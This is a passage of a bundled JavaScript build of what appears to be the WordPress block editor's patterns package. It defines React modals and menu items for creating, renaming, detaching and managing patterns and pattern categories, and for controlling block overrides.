732 } catch (error) {
733 onError?.();
734 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0, import_i18n5.__)("An error occurred while renaming the pattern.");
735 createErrorNotice(errorMessage, {
736 type: "snackbar",
737 id: "pattern-update"
738 });
739 } finally {
740 setIsSaving(false);
741 setName("");
742 }
743 };
744 const onRequestClose = () => {
745 onClose?.();
746 setName("");
747 };
748 return /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
749 import_components4.Modal,
750 {
751 title: (0, import_i18n5.__)("Rename"),
752 ...props,
753 onRequestClose: onClose,
754 focusOnMount: "firstContentElement",
755 size: "small",
756 children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)("form", { onSubmit: onRename, children: /* @__PURE__ */ (0, import_jsx_runtime5.jsxs)(import_components4.__experimentalVStack, { spacing: "5", children: [
757 /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
758 import_components4.TextControl,
759 {
760 __next40pxDefaultSize: true,
761 label: (0, import_i18n5.__)("Name"),
762 value: name,
763 onChange: setName,
764 required: true
765 }
766 ),
767 /* @__PURE__ */ (0, import_jsx_runtime5.jsxs)(import_components4.__experimentalHStack, { justify: "right", children: [
768 /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
769 import_components4.Button,
770 {
771 __next40pxDefaultSize: true,
772 variant: "tertiary",
773 onClick: onRequestClose,
774 children: (0, import_i18n5.__)("Cancel")
775 }
776 ),
777 /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(
778 import_components4.Button,
779 {
780 __next40pxDefaultSize: true,
781 variant: "primary",
782 type: "submit",
783 children: (0, import_i18n5.__)("Save")
784 }
785 )
786 ] })
787 ] }) })
788 }
789 );
790 }
791
792 // packages/patterns/build-module/components/index.mjs
793 var import_block_editor5 = __toESM(require_block_editor(), 1);
794
795 // packages/patterns/build-module/components/pattern-convert-button.mjs
796 var import_blocks2 = __toESM(require_blocks(), 1);
797 var import_block_editor3 = __toESM(require_block_editor(), 1);
798 var import_element6 = __toESM(require_element(), 1);
799 var import_components5 = __toESM(require_components(), 1);
800
801 // packages/icons/build-module/library/symbol.mjs
802 var import_primitives = __toESM(require_primitives(), 1);
803 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
804 var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
805
806 // packages/patterns/build-module/components/pattern-convert-button.mjs
807 var import_data8 = __toESM(require_data(), 1);
808 var import_core_data6 = __toESM(require_core_data(), 1);
809 var import_i18n6 = __toESM(require_i18n(), 1);
810 var import_notices4 = __toESM(require_notices(), 1);
811 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
812 function PatternConvertButton({
813 clientIds,
814 rootClientId,
815 closeBlockSettingsMenu
816 }) {
817 const { createSuccessNotice } = (0, import_data8.useDispatch)(import_notices4.store);
818 const { replaceBlocks, updateBlockAttributes } = (0, import_data8.useDispatch)(import_block_editor3.store);
819 const { setEditingPattern: setEditingPattern2 } = unlock((0, import_data8.useDispatch)(store));
820 const [isModalOpen, setIsModalOpen] = (0, import_element6.useState)(false);
821 const { getBlockAttributes } = (0, import_data8.useSelect)(import_block_editor3.store);
822 const canConvert = (0, import_data8.useSelect)(
823 (select) => {
824 const { canUser } = select(import_core_data6.store);
825 const {
826 getBlocksByClientId: getBlocksByClientId2,
827 canInsertBlockType,
828 getBlockRootClientId
829 } = select(import_block_editor3.store);
830 const rootId = rootClientId || (clientIds.length > 0 ? getBlockRootClientId(clientIds[0]) : void 0);
831 const blocks = getBlocksByClientId2(clientIds) ?? [];
832 const hasReusableBlockSupport = (blockName) => {
833 const blockType = (0, import_blocks2.getBlockType)(blockName);
834 const hasParent = blockType && "parent" in blockType;
835 return (0, import_blocks2.hasBlockSupport)(blockName, "reusable", !hasParent);
836 };
837 const isSyncedPattern = blocks.length === 1 && blocks[0] && (0, import_blocks2.isReusableBlock)(blocks[0]) && !!select(import_core_data6.store).getEntityRecord(
838 "postType",
839 "wp_block",
840 blocks[0].attributes.ref
841 );
842 const isUnsyncedPattern = blocks.length === 1 && blocks?.[0]?.attributes?.metadata?.patternName;
843 const _canConvert = (
844 // Hide when this is already a pattern.
845 !isUnsyncedPattern && !isSyncedPattern && // Hide when patterns are disabled.
846 canInsertBlockType("core/block", rootId) && blocks.every(
847 (block) => (
848 // Guard against the case where a regular block has *just* been converted.
849 !!block && // Hide on invalid blocks.
850 block.isValid && // Hide when block doesn't support being made into a pattern.
851 hasReusableBlockSupport(block.name)
852 )
853 ) && // Hide when current doesn't have permission to do that.
854 // Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
855 !!canUser("create", {
856 kind: "postType",
857 name: "wp_block"
858 })
859 );
860 return _canConvert;
861 },
862 [clientIds, rootClientId]
863 );
864 const { getBlocksByClientId } = (0, import_data8.useSelect)(import_block_editor3.store);
865 const getContent = (0, import_element6.useCallback)(
866 () => (0, import_blocks2.serialize)(getBlocksByClientId(clientIds)),
867 [getBlocksByClientId, clientIds]
868 );
869 if (!canConvert) {
870 return null;
871 }
872 const handleSuccess = ({ pattern }) => {
873 if (pattern.wp_pattern_sync_status === PATTERN_SYNC_TYPES.unsynced) {
874 if (clientIds?.length === 1) {
875 const existingAttributes = getBlockAttributes(clientIds[0]);
876 updateBlockAttributes(clientIds[0], {
877 metadata: {
878 ...existingAttributes?.metadata ? existingAttributes.metadata : {},
879 patternName: `core/block/${pattern.id}`,
880 name: pattern.title.raw
881 }
882 });
883 }
884 } else {
885 const newBlock = (0, import_blocks2.createBlock)("core/block", {
886 ref: pattern.id
887 });
888 replaceBlocks(clientIds, newBlock);
889 setEditingPattern2(newBlock.clientId, true);
890 }
891 createSuccessNotice(
892 pattern.wp_pattern_sync_status === PATTERN_SYNC_TYPES.unsynced ? (0, import_i18n6.sprintf)(
893 // translators: %s: the name the user has given to the pattern.
894 (0, import_i18n6.__)("Unsynced pattern created: %s"),
895 pattern.title.raw
896 ) : (0, import_i18n6.sprintf)(
897 // translators: %s: the name the user has given to the pattern.
898 (0, import_i18n6.__)("Synced pattern created: %s"),
899 pattern.title.raw
900 ),
901 {
902 type: "snackbar",
903 id: "convert-to-pattern-success"
904 }
905 );
906 setIsModalOpen(false);
907 closeBlockSettingsMenu();
908 };
909 return /* @__PURE__ */ (0, import_jsx_runtime7.jsxs)(import_jsx_runtime7.Fragment, { children: [
910 /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(
911 import_components5.MenuItem,
912 {
913 icon: symbol_default,
914 onClick: () => setIsModalOpen(true),
915 "aria-expanded": isModalOpen,
916 "aria-haspopup": "dialog",
917 children: (0, import_i18n6.__)("Create pattern")
918 }
919 ),
920 isModalOpen && /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(
921 CreatePatternModal,
922 {
923 content: getContent,
924 onSuccess: (pattern) => {
925 handleSuccess(pattern);
926 },
927 onError: () => {
928 setIsModalOpen(false);
929 },
930 onClose: () => {
931 setIsModalOpen(false);
932 closeBlockSettingsMenu();
933 }
934 }
935 )
936 ] });
937 }
938
939 // packages/patterns/build-module/components/patterns-manage-button.mjs
940 var import_components6 = __toESM(require_components(), 1);
941 var import_i18n7 = __toESM(require_i18n(), 1);
942 var import_blocks3 = __toESM(require_blocks(), 1);
943 var import_data9 = __toESM(require_data(), 1);
944 var import_element7 = __toESM(require_element(), 1);
945 var import_block_editor4 = __toESM(require_block_editor(), 1);
946 var import_url = __toESM(require_url(), 1);
947 var import_core_data7 = __toESM(require_core_data(), 1);
948 var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
949 function PatternsManageButton({ clientId, onClose }) {
950 const [showConfirmDialog, setShowConfirmDialog] = (0, import_element7.useState)(false);
951 const {
952 attributes,
953 canDetach,
954 isVisible,
955 managePatternsUrl,
956 isSyncedPattern,
957 isUnsyncedPattern,
958 canEdit
959 } = (0, import_data9.useSelect)(
960 (select) => {
961 const { canRemoveBlock, getBlock, canEditBlock } = select(import_block_editor4.store);
962 const { canUser } = select(import_core_data7.store);
963 const block = getBlock(clientId);
964 const _isUnsyncedPattern = !!block?.attributes?.metadata?.patternName;
965 const _isSyncedPattern = !!block && (0, import_blocks3.isReusableBlock)(block) && !!canUser("update", {
966 kind: "postType",
967 name: "wp_block",
968 id: block.attributes.ref
969 });
970 return {
971 attributes: block.attributes,
972 canEdit: canEditBlock(clientId),
973 // For unsynced patterns, detaching is simply removing the `patternName` attribute.
974 // For synced patterns, the `core:block` block is replaced with its inner blocks,
975 // so checking whether `canRemoveBlock` is possible is required.
976 canDetach: _isUnsyncedPattern || _isSyncedPattern && canRemoveBlock(clientId),
977 isUnsyncedPattern: _isUnsyncedPattern,
978 isSyncedPattern: _isSyncedPattern,
979 isVisible: _isUnsyncedPattern || _isSyncedPattern,
980 // The site editor and templates both check whether the user
981 // has edit_theme_options capabilities. We can leverage that here
982 // and omit the manage patterns link if the user can't access it.
983 managePatternsUrl: canUser("create", {
984 kind: "postType",
985 name: "wp_template"
986 }) ? (0, import_url.addQueryArgs)("site-editor.php", {
987 p: "/pattern"
988 }) : (0, import_url.addQueryArgs)("edit.php", {
989 post_type: "wp_block"
990 })
991 };
992 },
993 [clientId]
994 );
995 const { updateBlockAttributes } = (0, import_data9.useDispatch)(import_block_editor4.store);
996 const { convertSyncedPatternToStatic: convertSyncedPatternToStatic2 } = unlock(
997 (0, import_data9.useDispatch)(store)
998 );
999 if (!isVisible || !canEdit) {
1000 return null;
1001 }
1002 const handleDetach = () => {
1003 if (isSyncedPattern) {
1004 convertSyncedPatternToStatic2(clientId);
1005 }
1006 if (isUnsyncedPattern) {
1007 const { patternName, ...attributesWithoutPatternName } = attributes?.metadata ?? {};
1008 updateBlockAttributes(clientId, {
1009 metadata: attributesWithoutPatternName
1010 });
1011 }
1012 onClose?.();
1013 setShowConfirmDialog(false);
1014 };
1015 return /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_jsx_runtime8.Fragment, { children: [
1016 canDetach && /* @__PURE__ */ (0, import_jsx_runtime8.jsxs)(import_jsx_runtime8.Fragment, { children: [
1017 /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_components6.MenuItem, { onClick: () => setShowConfirmDialog(true), children: (0, import_i18n7.__)("Detach") }),
1018 /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(
1019 import_components6.__experimentalConfirmDialog,
1020 {
1021 isOpen: showConfirmDialog,
1022 onConfirm: handleDetach,
1023 onCancel: () => setShowConfirmDialog(false),
1024 confirmButtonText: (0, import_i18n7.__)("Detach"),
1025 size: "medium",
1026 title: (0, import_i18n7.__)("Detach pattern?"),
1027 __experimentalHideHeader: false,
1028 children: isSyncedPattern ? (0, import_i18n7.__)(
1029 "The blocks will be separated from the original pattern and will be fully editable. Future changes to the pattern will not apply here."
1030 ) : (0, import_i18n7.__)(
1031 "Blocks will no longer be associated with this pattern and will be fully editable."
1032 )
1033 }
1034 )
1035 ] }),
1036 /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_components6.MenuItem, { href: managePatternsUrl, children: (0, import_i18n7.__)("Manage patterns") })
1037 ] });
1038 }
1039 var patterns_manage_button_default = PatternsManageButton;
1040
1041 // packages/patterns/build-module/components/index.mjs
1042 var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
1043 function PatternsMenuItems({ rootClientId }) {
1044 return /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_block_editor5.BlockSettingsMenuControls, { children: ({ selectedClientIds, onClose }) => /* @__PURE__ */ (0, import_jsx_runtime9.jsxs)(import_jsx_runtime9.Fragment, { children: [
1045 /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
1046 PatternConvertButton,
1047 {
1048 clientIds: selectedClientIds,
1049 rootClientId,
1050 closeBlockSettingsMenu: onClose
1051 }
1052 ),
1053 selectedClientIds.length === 1 && /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(
1054 patterns_manage_button_default,
1055 {
1056 clientId: selectedClientIds[0],
1057 onClose
1058 }
1059 )
1060 ] }) });
1061 }
1062
1063 // packages/patterns/build-module/components/rename-pattern-category-modal.mjs
1064 var import_components7 = __toESM(require_components(), 1);
1065 var import_core_data8 = __toESM(require_core_data(), 1);
1066 var import_data10 = __toESM(require_data(), 1);
1067 var import_element8 = __toESM(require_element(), 1);
1068 var import_html_entities3 = __toESM(require_html_entities(), 1);
1069 var import_i18n8 = __toESM(require_i18n(), 1);
1070 var import_notices5 = __toESM(require_notices(), 1);
1071 var import_a11y = __toESM(require_a11y(), 1);
1072 var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
1073 function RenamePatternCategoryModal({
1074 category,
1075 existingCategories,
1076 onClose,
1077 onError,
1078 onSuccess,
1079 ...props
1080 }) {
1081 const id = (0, import_element8.useId)();
1082 const textControlRef = (0, import_element8.useRef)();
1083 const [name, setName] = (0, import_element8.useState)((0, import_html_entities3.decodeEntities)(category.name));
1084 const [isSaving, setIsSaving] = (0, import_element8.useState)(false);
1085 const [validationMessage, setValidationMessage] = (0, import_element8.useState)(false);
1086 const validationMessageId = validationMessage ? `patterns-rename-pattern-category-modal__validation-message-${id}` : void 0;
1087 const { saveEntityRecord, invalidateResolution } = (0, import_data10.useDispatch)(import_core_data8.store);
1088 const { createErrorNotice, createSuccessNotice } = (0, import_data10.useDispatch)(import_notices5.store);
1089 const onChange = (newName) => {
1090 if (validationMessage) {
1091 setValidationMessage(void 0);
1092 }
1093 setName(newName);
1094 };
1095 const onSave = async (event) => {
1096 event.preventDefault();
1097 if (isSaving) {
1098 return;
1099 }
1100 if (!name || name === category.name) {
1101 const message = (0, import_i18n8.__)("Please enter a new name for this category.");
1102 (0, import_a11y.speak)(message, "assertive");
1103 setValidationMessage(message);
1104 textControlRef.current?.focus();
1105 return;
1106 }
1107 if (existingCategories.patternCategories.find((existingCategory) => {
1108 return existingCategory.id !== category.id && existingCategory.label.toLowerCase() === name.toLowerCase();
1109 })) {
1110 const message = (0, import_i18n8.__)(
1111 "This category already exists. Please use a different name."
1112 );
1113 (0, import_a11y.speak)(message, "assertive");
1114 setValidationMessage(message);
1115 textControlRef.current?.focus();
1116 return;
1117 }
1118 try {
1119 setIsSaving(true);
1120 const savedRecord = await saveEntityRecord(
1121 "taxonomy",
1122 CATEGORY_SLUG,
1123 {
1124 id: category.id,
1125 slug: category.slug,
1126 name
1127 }
1128 );
1129 invalidateResolution("getUserPatternCategories");
1130 onSuccess?.(savedRecord);
1131 onClose();
1132 createSuccessNotice((0, import_i18n8.__)("Pattern category renamed."), {
1133 type: "snackbar",
1134 id: "pattern-category-update"
1135 });
1136 } catch (error) {
1137 onError?.();
1138 createErrorNotice(error.message, {
1139 type: "snackbar",
1140 id: "pattern-category-update"
1141 });
1142 } finally {
1143 setIsSaving(false);
1144 setName("");
1145 }
1146 };
1147 const onRequestClose = () => {
1148 onClose();
1149 setName("");
1150 };
1151 return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1152 import_components7.Modal,
1153 {
1154 title: (0, import_i18n8.__)("Rename"),
1155 onRequestClose,
1156 ...props,
1157 children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)("form", { onSubmit: onSave, children: /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_components7.__experimentalVStack, { spacing: "5", children: [
1158 /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_components7.__experimentalVStack, { spacing: "2", children: [
1159 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1160 import_components7.TextControl,
1161 {
1162 ref: textControlRef,
1163 __next40pxDefaultSize: true,
1164 label: (0, import_i18n8.__)("Name"),
1165 value: name,
1166 onChange,
1167 "aria-describedby": validationMessageId,
1168 required: true
1169 }
1170 ),
1171 validationMessage && /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1172 "span",
1173 {
1174 className: "patterns-rename-pattern-category-modal__validation-message",
1175 id: validationMessageId,
1176 children: validationMessage
1177 }
1178 )
1179 ] }),
1180 /* @__PURE__ */ (0, import_jsx_runtime10.jsxs)(import_components7.__experimentalHStack, { justify: "right", children: [
1181 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1182 import_components7.Button,
1183 {
1184 __next40pxDefaultSize: true,
1185 variant: "tertiary",
1186 onClick: onRequestClose,
1187 children: (0, import_i18n8.__)("Cancel")
1188 }
1189 ),
1190 /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(
1191 import_components7.Button,
1192 {
1193 __next40pxDefaultSize: true,
1194 variant: "primary",
1195 type: "submit",
1196 "aria-disabled": !name || name === category.name || isSaving,
1197 isBusy: isSaving,
1198 children: (0, import_i18n8.__)("Save")
1199 }
1200 )
1201 ] })
1202 ] }) })
1203 }
1204 );
1205 }
1206
1207 // packages/patterns/build-module/components/pattern-overrides-controls.mjs
1208 var import_element10 = __toESM(require_element(), 1);
1209 var import_block_editor6 = __toESM(require_block_editor(), 1);
1210 var import_components9 = __toESM(require_components(), 1);
1211 var import_i18n10 = __toESM(require_i18n(), 1);
1212
1213 // packages/patterns/build-module/components/allow-overrides-modal.mjs
1214 var import_components8 = __toESM(require_components(), 1);
1215 var import_i18n9 = __toESM(require_i18n(), 1);
1216 var import_element9 = __toESM(require_element(), 1);
1217 var import_a11y2 = __toESM(require_a11y(), 1);
1218 var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
1219 function AllowOverridesModal({
1220 placeholder,
1221 initialName = "",
1222 onClose,
1223 onSave
1224 }) {
1225 const [editedBlockName, setEditedBlockName] = (0, import_element9.useState)(initialName);
1226 const descriptionId = (0, import_element9.useId)();
1227 const isNameValid = !!editedBlockName.trim();
1228 const handleSubmit = () => {
1229 if (editedBlockName !== initialName) {
1230 const message = (0, import_i18n9.sprintf)(
1231 /* translators: %s: new name/label for the block */
1232 (0, import_i18n9.__)('Block name changed to: "%s".'),
1233 editedBlockName
1234 );
1235 (0, import_a11y2.speak)(message, "assertive");
1236 }
1237 onSave(editedBlockName);
1238 onClose();
1239 };
1240 return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1241 import_components8.Modal,
1242 {
1243 title: (0, import_i18n9.__)("Enable overrides"),
1244 onRequestClose: onClose,
1245 focusOnMount: "firstContentElement",
1246 aria: { describedby: descriptionId },
1247 size: "small",
1248 children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1249 "form",
1250 {
1251 onSubmit: (event) => {
1252 event.preventDefault();
1253 if (!isNameValid) {
1254 return;
1255 }
1256 handleSubmit();
1257 },
1258 children: /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_components8.__experimentalVStack, { spacing: "6", children: [
1259 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_components8.__experimentalText, { id: descriptionId, children: (0, import_i18n9.__)(
1260 "Overrides are changes you make to a block within a synced pattern instance. Use overrides to customize a synced pattern instance to suit its new context. Name this block to specify an override."
1261 ) }),
1262 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1263 import_components8.TextControl,
1264 {
1265 __next40pxDefaultSize: true,
1266 value: editedBlockName,
1267 label: (0, import_i18n9.__)("Name"),
1268 help: (0, import_i18n9.__)(
1269 'For example, if you are creating a recipe pattern, you use "Recipe Title", "Recipe Description", etc.'
1270 ),
1271 placeholder,
1272 onChange: setEditedBlockName
1273 }
1274 ),
1275 /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_components8.__experimentalHStack, { justify: "right", children: [
1276 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1277 import_components8.Button,
1278 {
1279 __next40pxDefaultSize: true,
1280 variant: "tertiary",
1281 onClick: onClose,
1282 children: (0, import_i18n9.__)("Cancel")
1283 }
1284 ),
1285 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1286 import_components8.Button,
1287 {
1288 __next40pxDefaultSize: true,
1289 "aria-disabled": !isNameValid,
1290 variant: "primary",
1291 type: "submit",
1292 children: (0, import_i18n9.__)("Enable")
1293 }
1294 )
1295 ] })
1296 ] })
1297 }
1298 )
1299 }
1300 );
1301 }
1302 function DisallowOverridesModal({ onClose, onSave }) {
1303 const descriptionId = (0, import_element9.useId)();
1304 return /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1305 import_components8.Modal,
1306 {
1307 title: (0, import_i18n9.__)("Disable overrides"),
1308 onRequestClose: onClose,
1309 aria: { describedby: descriptionId },
1310 size: "small",
1311 children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1312 "form",
1313 {
1314 onSubmit: (event) => {
1315 event.preventDefault();
1316 onSave();
1317 onClose();
1318 },
1319 children: /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_components8.__experimentalVStack, { spacing: "6", children: [
1320 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_components8.__experimentalText, { id: descriptionId, children: (0, import_i18n9.__)(
1321 "Are you sure you want to disable overrides? Disabling overrides will revert all applied overrides for this block throughout instances of this pattern."
1322 ) }),
1323 /* @__PURE__ */ (0, import_jsx_runtime11.jsxs)(import_components8.__experimentalHStack, { justify: "right", children: [
1324 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1325 import_components8.Button,
1326 {
1327 __next40pxDefaultSize: true,
1328 variant: "tertiary",
1329 onClick: onClose,
1330 children: (0, import_i18n9.__)("Cancel")
1331 }
1332 ),
1333 /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(
1334 import_components8.Button,
1335 {
1336 __next40pxDefaultSize: true,
1337 variant: "primary",
1338 type: "submit",
1339 children: (0, import_i18n9.__)("Disable")
1340 }
1341 )
1342 ] })
1343 ] })
1344 }
1345 )
1346 }
1347 );
1348 }
1349
1350 // packages/patterns/build-module/components/pattern-overrides-controls.mjs
1351 var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
1352 function PatternOverridesControls({
1353 attributes,
1354 setAttributes,
1355 name: blockName
1356 }) {
1357 const controlId = (0, import_element10.useId)();
1358 const [showAllowOverridesModal, setShowAllowOverridesModal] = (0, import_element10.useState)(false);
1359 const [showDisallowOverridesModal, setShowDisallowOverridesModal] = (0, import_element10.useState)(false);
1360 const hasName = !!attributes.metadata?.name;
1361 const defaultBindings = attributes.metadata?.bindings?.__default;
1362 const hasOverrides = hasName && defaultBindings?.source === PATTERN_OVERRIDES_BINDING_SOURCE;
1363 const isConnectedToOtherSources = defaultBindings?.source && defaultBindings.source !== PATTERN_OVERRIDES_BINDING_SOURCE;
1364 const { updateBlockBindings } = (0, import_block_editor6.useBlockBindingsUtils)();
1365 function updateBindings(isChecked, customName) {
1366 if (customName) {
1367 setAttributes({
1368 metadata: {
1369 ...attributes.metadata,
1370 name: customName
1371 }
1372 });
1373 }
1374 updateBlockBindings({
1375 __default: isChecked ? { source: PATTERN_OVERRIDES_BINDING_SOURCE } : void 0
1376 });
1377 }
1378 if (isConnectedToOtherSources) {
1379 return null;
1380 }
1381 const hasUnsupportedImageAttributes = blockName === "core/image" && !!attributes.href?.length;
1382 const helpText = !hasOverrides && hasUnsupportedImageAttributes ? (0, import_i18n10.__)(
1383 `Overrides currently don't support image links. Remove the link first before enabling overrides.`
1384 ) : (0, import_i18n10.__)(
1385 "Allow changes to this block throughout instances of this pattern."
1386 );
1387 return /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_jsx_runtime12.Fragment, { children: [
1388 /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_block_editor6.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1389 import_components9.BaseControl,
1390 {
1391 id: controlId,
1392 label: (0, import_i18n10.__)("Overrides"),
1393 help: helpText,
1394 children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1395 import_components9.Button,
1396 {
1397 __next40pxDefaultSize: true,
1398 className: "pattern-overrides-control__allow-overrides-button",
1399 variant: "secondary",
1400 "aria-haspopup": "dialog",
1401 onClick: () => {
1402 if (hasOverrides) {
1403 setShowDisallowOverridesModal(true);
1404 } else {
1405 setShowAllowOverridesModal(true);
1406 }
1407 },
1408 disabled: !hasOverrides && hasUnsupportedImageAttributes,
1409 accessibleWhenDisabled: true,
1410 children: hasOverrides ? (0, import_i18n10.__)("Disable overrides") : (0, import_i18n10.__)("Enable overrides")
1411 }
1412 )
1413 }
1414 ) }),
1415 showAllowOverridesModal && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1416 AllowOverridesModal,
1417 {
1418 initialName: attributes.metadata?.name,
1419 onClose: () => setShowAllowOverridesModal(false),
1420 onSave: (newName) => {
1421 updateBindings(true, newName);
1422 }
1423 }
1424 ),
1425 showDisallowOverridesModal && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1426 DisallowOverridesModal,
1427 {
1428 onClose: () => setShowDisallowOverridesModal(false),
1429 onSave: () => updateBindings(false)
1430 }
1431 )
1432 ] });
1433 }
1434 var pattern_overrides_controls_default = PatternOverridesControls;
1435
1436 // packages/patterns/build-module/components/reset-overrides-control.mjs
1437 var import_block_editor7 = __toESM(require_block_editor(), 1);
1438 var import_components10 = __toESM(require_components(), 1);
1439 var import_data11 = __toESM(require_data(), 1);
1440 var import_i18n11 = __toESM(require_i18n(), 1);
1441 var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
1442 var CONTENT = "content";
1443 function ResetOverridesControl(props) {
1444 const name = props.attributes.metadata?.name;
1445 const registry = (0, import_data11.useRegistry)();
1446 const isOverridden = (0, import_data11.useSelect)(
1447 (select) => {
1448 if (!name) {
1449 return;
1450 }
1451 const { getBlockAttributes, getBlockParentsByBlockName } = select(import_block_editor7.store);
1452 const [patternClientId] = getBlockParentsByBlockName(
1453 props.clientId,
1454 "core/block",
1455 true
1456 );
1457 if (!patternClientId) {
1458 return;
1459 }
1460 const overrides = getBlockAttributes(patternClientId)[CONTENT];
1461 if (!overrides) {
1462 return;
1463 }
1464 return overrides.hasOwnProperty(name);
1465 },
1466 [props.clientId, name]
1467 );
1468 function onClick() {
1469 const { getBlockAttributes, getBlockParentsByBlockName } = registry.select(import_block_editor7.store);
1470 const [patternClientId] = getBlockParentsByBlockName(
1471 props.clientId,
1472 "core/block",
1473 true
1474 );
1475 if (!patternClientId) {
1476 return;
1477 }
1478 const overrides = getBlockAttributes(patternClientId)[CONTENT];
1479 if (!overrides.hasOwnProperty(name)) {
1480 return;
1481 }
1482 const { updateBlockAttributes, __unstableMarkLastChangeAsPersistent } = registry.dispatch(import_block_editor7.store);
1483 __unstableMarkLastChangeAsPersistent();
1484 let newOverrides = { ...overrides };
1485 delete newOverrides[name];
1486 if (!Object.keys(newOverrides).length) {
1487 newOverrides = void 0;
1488 }
1489 updateBlockAttributes(patternClientId, {
1490 [CONTENT]: newOverrides
1491 });
1492 }
1493 return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_block_editor7.__unstableBlockToolbarLastItem, { children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_components10.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_components10.ToolbarButton, { onClick, disabled: !isOverridden, children: (0, import_i18n11.__)("Reset") }) }) });
1494 }
1495
1496 // packages/patterns/build-module/private-apis.mjs
1497 var privateApis = {};
1498 lock(privateApis, {
1499 OverridesPanel,
1500 CreatePatternModal,
1501 CreatePatternModalContents,
1502 DuplicatePatternModal,
1503 isOverridableBlock,
1504 useDuplicatePatternProps,
1505 RenamePatternModal,
1506 PatternsMenuItems,
1507 RenamePatternCategoryModal,
1508 PatternOverridesControls: pattern_overrides_controls_default,
1509 ResetOverridesControl,
1510 useAddPatternCategory,
1511 PATTERN_TYPES,
1512 PATTERN_DEFAULT_CATEGORY,
1513 PATTERN_USER_CATEGORY,
1514 EXCLUDED_PATTERN_SOURCES,
1515 PATTERN_SYNC_TYPES
1516 });
1517 return __toCommonJS(index_exports);
1518})();
1519